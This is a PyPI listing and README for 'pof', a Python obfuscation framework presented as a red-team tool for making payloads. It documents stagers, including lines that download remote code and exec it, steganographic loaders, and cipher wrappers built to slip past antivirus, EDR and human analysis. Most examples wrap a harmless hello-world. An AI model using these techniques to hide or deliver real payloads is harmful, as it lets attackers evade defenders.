| Name | python-obfuscation-framework JSON |
| Version |
1.5.1
JSON |
| download |
| home_page | None |
| Summary | Python Obfuscation Framework |
| upload_time | 2025-02-16 15:00:16 |
| maintainer | None |
| docs_url | None |
| author | None |
| requires_python | >=3.5 |
| license | GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
POF, a free and open source Python obfuscation framework.
Copyright (C) 2022-2024 POF Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
POF Copyright (C) 2022-2024 POF Team
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
| keywords |
cybersecurity
obfuscation
obfuscator
stager
payload
|
| VCS |
 |
| bugtrack_url |
|
| requirements |
No requirements were recorded.
|
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# pof
[](https://pypi.org/project/python-obfuscation-framework)
Python Obfuscation Framework.
Combine and chain obfuscation methods on a single Python source file.
Install:
```bash
pip install python-obfuscation-framework
```
Source:
```python
print('Hello, world')
```
Run:
```bash
pof src.py > out.py
```
Output:
```python
from base64 import b64decode as expected_data
from base64 import b85decode as _5269
globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)for i in'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in"".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)for i in'txdqwlohv']),"".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode())
```
More examples and usage can be found in `examples/` or in the section bellow.
## Goals
The goals of this project are to create a toolkit to obfuscate Python source code, mainly to create payload for offensive security.
pof will allow you to:
- create **payloads**: store the code inside images, have multiple stages, use LOTL techniques
- create **stager**: easily create multi stages payloads
- do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques
- slow **analysis**: slow down human analysis of the payload
- enable **automation**: automate the whole process, to produce numerous variant of the payload
- be **cross-platform**: works on Linux, Windows, and macOS
- have **fun**: because it's always fun to see what's possible to do with Python
This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.
Python is not exactly the best language to create payloads with, especially for Windows if the interpreter is not already installed. This project was made for learning, and discovering new ways of bypassing security, it's a great way to test obfuscations techniques.
This project could also give you ideas to implement in other languages, such as powershell where it would make sens to obfuscate the source code. Or in C, C#, C++, Go or Rust where it would make sens to stage payloads, compress them, encrypt them and obfuscate strings.
You could also use most of the stagers to stage payload that are not built in Python.
## Install
There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.
### 1. PIP
From [pypi](https://pypi.org/project/python-obfuscation-framework):
```bash
pip install python-obfuscation-framework
```
### 2. Source
```bash
git clone https://github.com/deoktr/pof
cd pof
python -m venv venv
source ./venv/bin/activate
./setup.py install
```
This will install pof inside a virtual env, so you'll need to activate it every time you want to use it.
### 3. Docker
```bash
git clone https://github.com/deoktr/pof
cd pof
docker build -t pof .
docker run --rm -it pof --help
```
Run inside Docker from a local file `in.py`:
```bash
docker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py
```
### 4. Nix
From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):
```bash
nix shell github:onix-sec/nixsecpkgs#pof
```
## Usage
```bash
# pipe input and output to stdout
echo "print('Hello, world')" | pof
# output to file
pof in.py -o out.py
# redirect to file
pof in.py > out.py
# pipe to python to run it
pof in.py | python
# obfuscator
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
# stager
pof in.py -o out.py -f stager -k PasteRsStager
# evasion
pof in.py -o out.py -f evasion -k CPUCountEvasion
# evasion with custom params
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
# combine everything from the CLI
pof in.py -f obfuscator -k BuiltinsObfuscator |\
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
pof -f stager -k PasteRsStager > out.py
```
You can also use the Python API directly, you can find examples in the corresponding directory or bellow.
## Examples
These are examples of obfuscators of the script `print('Hello, world')`.
To select an obfuscator use the flag `-f obfuscator` and `-k ObfuscatorClassName`.
To reproduce the examples you can use the following command:
```bash
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator
```
To test the validity of the output you can simply pipe it to Python:
```bash
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
```
### Obfuscator
#### StringsObfuscator
```python
# Reverse
print('dlrow ,olleH'[::-1])
# Replace
rint('Helnelemd'.replace('nelem','lo, worl'))
# Unicode
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
# Shift cipher
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
# Base 64 encoding
from base64 import b64decode
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
# Base 85
from base64 import b85decode
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
```
#### NumberObfuscator
Source: `print(42)`
```python
# String
print(int('42'))
# Addition
print((int(35+7)))
# Hex
print(int('0x2a',0))
# Len
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
# Boolean
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
```
#### DefinitionsObfuscator
Source:
```python
def say_hello(t):
print(t)
say_hello("Hello, world")
```
Obfuscated:
```python
def sczCWV(t):
print(t)
sczCWV('Hello, world')
```
#### BuiltinsObfuscator
Obfuscate builtins functions using one of the following methods.
```python
__builtins__.__getattribute__('print')('Hello, world')
__builtins__.__dict__['print']('Hello, world')
globals()['__builtins__'].__dict__['print']('Hello, world')
__builtins__.__dict__.__getitem__('print')('Hello, world')
```
#### ConstantsObfuscator
Move every variable at the top of the file.
```python
vVlJ='Hello, world'
t4Bo=print
t4Bo(vVlJ)
```
#### ExtractVariablesObfuscator
Extract variables in the same context level, meaning if inside a function will add the variable at the beginning of it.
Note that right now this function is broken and can fail.
```python
var='Hello, world'
print(var)
```
#### CallObfuscator
```python
print.__call__('Hello, world')
```
#### ShiftObfuscator
```python
exec("".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\r']))
```
#### DocstringObfuscator
```python
from base64 import b64decode
class Foo:
"""
cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==
"""
pass
exec(b64decode(Foo.__doc__.replace('\n','').replace(' ','')))
```
#### SpacenTabObfuscator
```python
def sntdecode(encoded):
msg_bin=encoded.replace(" ","0").replace("\t","1")
n=int(msg_bin,2)
return n.to_bytes((n.bit_length()+7)//8,"big")
exec(sntdecode('\t\t\t \t\t\t \t \t\t \t \t \t\t \t\t\t \t\t\t \t \t \t \t \t\t\t \t \t \t\t \t \t \t\t \t\t \t\t \t\t \t\t \t\t\t\t \t \t\t \t \t\t\t \t\t\t \t\t \t\t\t\t \t\t\t \t \t\t \t\t \t\t \t \t \t\t\t \t \t \t \t \t '))
```
#### RC4Obfuscator
Warning: the RC4 obfuscator (and other cipher obfuscators) will combine both, the cipher text and the key in the same file, this is obviously not secure, and should never be used for security purposes. The idea behind this obfuscator is to fool humans, AV, EDR, network TAP etc. not to be secured and safe.
```python
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))
```
#### XORObfuscator
Warning: like for the RC4 cipher the XOR obfuscator shouldn't be used for security purposes, its main goal is to evade common security tools, not protect the information! Plus the XOR cipher is really weak and easy to crack.
```python
from base64 import b64decode
def decrypt(cipher,key):
bcipher=bytearray(b64decode(cipher))
text=bytearray()
ki=0
for i in bcipher:
text.append(i^key[ki%len(key)])
ki+=1
return text
exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())
```
#### Compression
```python
# Bz2Obfuscator
import bz2,marshal
exec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00 \x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0')))
# GzipObfuscator
import gzip,marshal
exec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00')))
# LzmaObfuscator
import lzma,marshal
exec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ")))
# ZlibObfuscator
import zlib,marshal
exec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H')))
```
#### Encoding
```python
# ASCII85Obfuscator
from base64 import a85decode
exec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))
# Base16Obfuscator
from base64 import b16decode
exec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))
# Base32Obfuscator
from base64 import b32decode
exec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))
# Base32HexObfuscator
from base64 import b32hexdecode
exec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))
# Base64Obfuscator
from base64 import b64decode
exec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))
# Base85Obfuscator
from base64 import b85decode
exec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))
# BinasciiObfuscator
import binascii,marshal
exec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n')))
```
#### Special Encoding
```python
# TokensObfuscator
from tokenize import untokenize
exec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),]))
# IPv6Obfuscator
import binascii
exec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))
# MACObfuscator
import binascii
exec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))
# UUIDObfuscator
exec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1]))
```
#### ImportsObfuscator
Source: `import pathlib`
```python
pathlib=__import__('pathlib')
```
#### CharFromDocObfuscator
Source: `print('h')`
```python
print(oct.__doc__[8])
```
### Stager
#### DownloadStager
```python
from urllib import request
exec(request.urlopen("https://example.com/payload.py").read())
```
#### ImageStager
The modified picture is not included in this example.
```python
import sys
from PIL import Image
def decode(im_in):
msg_bin=""
im=Image.open(im_in)
px=im.load()
for x in range(im.size[0]):
for y in range(im.size[1]):
pixels=px[x,y]
msg_bin+=bin(pixels[0])[-1]
n=8
mmsg_bin="0"+msg_bin
chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)]
i=chunks.index("0"*8)
msg_bin=msg_bin[:(8*i)-1]
n=int(msg_bin,2)
msg=n.to_bytes((n.bit_length()+7)//8,"big").decode()
return msg
exec(decode(sys.argv.pop(1)))
```
#### PastebinStager
```python
from urllib import request
exec(request.urlopen("https://pastebin.com/raw/...").read())
```
> [!NOTE]
> You'll need to add a pastebin API key:
>
> ```bash
> echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
> ```
The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
#### RC4Stager
The RC4 stager needs to be called with the key has its first argument.
```python
import sys
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))
```
For this example, the randomly generated key is:
```
TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
```
So we could call it like this:
```bash
python3 out.py TzyaoO...
```
#### QuineStager
```python
from base64 import b64decode
from tokenize import untokenize
esource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='
tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')]
def quine():
return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])
exec(b64decode(esource))
```
This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.
Example usage:
```bash
echo "print(quine())" | pof -f stager -k QuineStager > out.py
python3 out.py > out2.py
python3 out2.py > out3.py
diff out2.py out3.py
```
The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.
> [!NOTE]
> By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs.
### Generators
Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
`BasicGenerator.alphabet_generator`:
```
kMX94Fcb
mff0ERu3V
lNRxu3hk
b5PK35uR_t
```
`AdvancedGenerator.realistic_generator`:
Useful to create variables that look realistic.
```
raise_src
expected_message
ContextInputValidation
is_auth
```
`AdvancedGenerator.fixed_length_generator`:
Inspired by: [pyob.oxyry.com](https://pyob.oxyry.com/).
```
O00OOOO00O0O00OOO
O000OOOOO0O000O0O
O0OOOO0000OO0OO00
O000000OO0O0O0OO0
```
`UnicodeGenerator.katakana_generator`:
```
シ
ビラ
ポワ
ヌバ
```
Yes they are valid Python variable name.
Usage:
```python
from pof.utils.generator import UnicodeGenerator
gen = UnicodeGenerator().katakana_generator()
for _ in range(4):
print(next(gen))
```
### Homoglyphs
[Homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) are glyphs that have the same shape and appear identical. There is a generator to help create them.
Example of homoglyphs for `Hello, world!`:
```
H𝐞llo, world!
Hello, ᴡorld!
Hello, worldǃ
Hello, world！
Hеllo, world!
Hello, woгld!
Hello, woꭈld!
Hello, world!
Hello, worldǃ
Hello¸ world!
Hello, world!
```
Usage:
```python
from pof.utils.se import HomoglyphsGenerator
def get_homoglyphs():
generator = HomoglyphsGenerator()
text = "Hello, world!"
for _ in range(10):
homoglyph = generator.get_single_homoglyph(text)
print(homoglyph)
```
## Python API
The true power of pof is in chaining multiple different obfuscation techniques easily, there is a pretty simple Python API to do so.
For example this is a snippet of the default obfuscator:
```python
import random
from pof import BaseObfuscator
from pof.obfuscator import (
BuiltinsObfuscator,
CommentsObfuscator,
ConstantsObfuscator,
ExceptionObfuscator,
GlobalsObfuscator,
LoggingObfuscator,
# NamesObfuscator,
NumberObfuscator,
PrintObfuscator,
StringsObfuscator,
)
from pof.utils.extract_names import NameExtract
from pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator
class ExampleObfuscator(BaseObfuscator):
def obfuscate(self, source):
tokens = self._get_tokens(source)
# get all the names and add them to the RESERVED_WORDS for the generators
reserved_words_add = NameExtract.get_names(tokens)
BaseGenerator.extend_reserved(reserved_words_add)
tokens = CommentsObfuscator().obfuscate_tokens(tokens)
tokens = LoggingObfuscator().obfuscate_tokens(tokens)
tokens = PrintObfuscator().obfuscate_tokens(tokens)
ex_generator = BasicGenerator.number_name_generator()
tokens = ExceptionObfuscator(
add_codes=True,
generator=ex_generator,
).obfuscate_tokens(tokens)
# configure generator
gen_dict = {
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
}
generator = AdvancedGenerator.multi_generator(gen_dict)
# core obfuscation
tokens = ConstantsObfuscator(
generator=generator,
obf_number_rate=0.7,
obf_string_rate=0.1,
obf_builtins_rate=0.3,
).obfuscate_tokens(tokens)
# FIXME: broken for the moment
# tokens = NamesObfuscator(generator=generator).obfuscate_tokens(tokens)
tokens = GlobalsObfuscator().obfuscate_tokens(tokens)
tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
b64decode_name = next(generator)
b85decode_name = next(generator)
string_obfuscator = StringsObfuscator(
import_b64decode=True,
import_b85decode=True,
b64decode_name=b64decode_name,
b85decode_name=b85decode_name,
)
tokens = string_obfuscator.obfuscate_tokens(tokens)
string_obfuscator.import_b64decode = False
string_obfuscator.import_b85decode = False
for _ in range(2):
tokens = NumberObfuscator().obfuscate_tokens(tokens)
tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
for _ in range(2):
tokens = string_obfuscator.obfuscate_tokens(tokens)
return self._untokenize(tokens)
print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))
```
In this example we can see that first we remove comments, logging, print statements, and change the content of exceptions, and then we start to obfuscate constants, names, globals, builtins, strings, then strings and numbers multiple times, and we finally convert the tokens back to code.
By chaining multiple obfuscations techniques we can create very complex and custom output.
Pof also provide evasions methods, detailed below, they are useful for quick and easy evasions, and can be used and customized to fit the need.
For more example of how to use the pof Python API check the [examples/](./examples) directory.
## Yara
Yara rules can be used to detect malware, they can also be used to find interesting strings in Python source code. To check rules against source files and/or obfuscated files run:
```bash
yara --no-warnings yara/python.yar file.py
```
## Development
Project:
- `pof`: contains all the pof source code
- `pof/obfuscator`: contains obfuscators
- `pof/stager`: contains satgers
- `pof/evasion`: contains evasions
- `pof/utils`: all shared code between stager, obfuscator and evasion
- `wip`: work in progress code that will eventually make its way inside the main code base
- `tests`: unit tests for pof
- `scripts`: some useful scripts to develop or use pof
- `yara`: some yara rules to detect pof obfuscated code
Setup:
```bash
python3 -m venv venv
# activate it (or equivalent for your shell)
source ./venv/bin/activate
# install dep
pip install -e .
pip install -e .[dev]
pip install -e .[test]
```
Run pof:
```bash
./pof.py --help
```
Run tests:
```bash
pytest
```
Format:
```bash
black .
ruff format .
```
Lint:
```bash
ruff check .
```
Test build package:
```bash
pip install build twine check-manifest
check-manifest --ignore "tests/**"
python3 -m build
python3 -m twine check dist/*
```
## Python 2
No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
## TODO
- Add option to prepend a shebang, and add ability to customize it
- Fix multi line strings
## License
pof is licensed under [GPLv3](./LICENSE).
Raw data
{
"_id": null,
"home_page": null,
"name": "python-obfuscation-framework",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.5",
"maintainer_email": "deoktr <35725720+deoktr@users.noreply.github.com>",
"keywords": "cybersecurity, obfuscation, obfuscator, stager, payload",
"author": null,
"author_email": "deoktr <35725720+deoktr@users.noreply.github.com>",
"download_url": "https://files.pythonhosted.org/packages/49/c8/71ef6be9666afbc2921e279a4ba606e0db1ddbe6c542d0dbc96636f05647/python_obfuscation_framework-1.5.1.tar.gz",
"platform": null,
"description": "# pof\n\n[](https://pypi.org/project/python-obfuscation-framework)\n\nPython Obfuscation Framework.\n\nCombine and chain obfuscation methods on a single Python source file.\n\nInstall:\n\n```bash\npip install python-obfuscation-framework\n```\n\nSource:\n\n```python\nprint('Hello, world')\n```\n\nRun:\n\n```bash\npof src.py > out.py\n```\n\nOutput:\n\n```python\nfrom base64 import b64decode as expected_data\nfrom base64 import b85decode as _5269\nglobals()[\"\".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in\"\".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__[\"\".join([chr(ord(i)-3)for i in\"\".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__(\"\".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())(\"\".join([chr(ord(i)-3)for i in'3\\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data(\"\".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in\"\".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i 